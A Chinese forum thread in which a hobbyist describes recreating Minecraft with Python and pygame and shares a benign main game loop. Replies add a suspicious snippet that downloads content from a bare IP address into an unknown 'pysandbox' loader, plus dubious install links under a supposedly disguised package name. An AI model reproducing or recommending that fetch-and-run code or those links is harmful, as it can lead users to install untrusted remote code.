用户:天上的流星_tianqiVirus查看:9 回复:6 评论:9 创建时间:2019-06-07T19:58:47
最近我有个神奇的想法,用python开发我的世界
我曾经在源码编辑器那里看见过有些人开发我的世界
但是他们的结果,只能说是用到了我的世界的素材,但没有用到我的世界的玩法
就像我很久以前开发的焦炭rpg一样
对吧,不仅没用到我的世界的玩法,而且bug频出
同时我把url放出来,喜欢的请绝对在评论区输入:烂透了。因为它真的烂透了
https://shequ.codemao.cn/work/754喵3
很快,我告别了源码编辑器,认识了大蟒蛇
在我和亲爱的大蟒蛇交流中,大蟒蛇的两个点是吸引我的
一个叫PyQt,一个叫Pygame
同时我手头上有我的世界的游戏资源,又受到Alan ****er的启发,我决定将我的世界用pygame显示出来
因此我编写了我的世界代码。第一次版本更新就在一年前的今天
但由于视觉效果不好再加上我用了障眼法之类的问题,这个版本就夭折了
而在今时今日,我又摸爬滚打抓到了我的世界
this time,我用了新的编程方式,虽然目前还没达到一年前的水平,但是优点是我加入了存档和方块特性
效果感觉好棒好棒的
在此我把主循环代码放出来
while keep_going:
doing_time+=1
for event in pygame.event.get():
if event.type == pygame.QUIT:
keep_going = False
if event.type == pygame.KEYDOWN:
if event.key == 27:
pause.pause(screen)
if (event.type == pygame.MOUSEBUTTONDOWN):
x, y = pygame.mouse.get_pos()
if event.type == 5:
destroy_block.destroy(screen,x,y,"world_1")
valueForBackgroundSitter=background_sitter.fillBackground(screen,doing_time,valueForBackgroundSitter)
valueForShowTime = showTime.showClock(screen,doing_time,valueForShowTime)
total_block_show.main(screen,"world_1")
pygame.display.update()
timer.tick(fps)
结果是这样的
这里我加入了时间变化,还有左上角一个小钟钟告诉你时间
目前我打算先把基础的东西弄还,再编写创造模式和生存模式的代码
为此,我想从你们这里弄点灵感出来
如果觉得有什么你想加入的话请在评论区评论
id:天上的流星
本帖内的所有思想仅供参考,请勿用于商业盈利用途
import pysandbox as 喵
import time as n
import request as rq
A = 喵.init(rq.get(url="https://123.321.123.321/miaoyun/down.php?user=ac38f2dfc372&flie=ace2973a3846fd").content)
#下载并使用pysandbox我的世界玩法包,玩法包通过NSNTool制作
A.loader()
A.spip()
while true:
A.dos()
A.time = A.time + 1
n.sleep(0.001)
还不如用pysandbox呢
点赞0
评论
pysandbox的pip下载方法
pysandbox的真实pip名字为一串乱码,跳转链接:
1:link..aibamiao.cf/lightfight?fight=380183173
2:Percent4.ml/conversation-python/pysandbox
点赞0
评论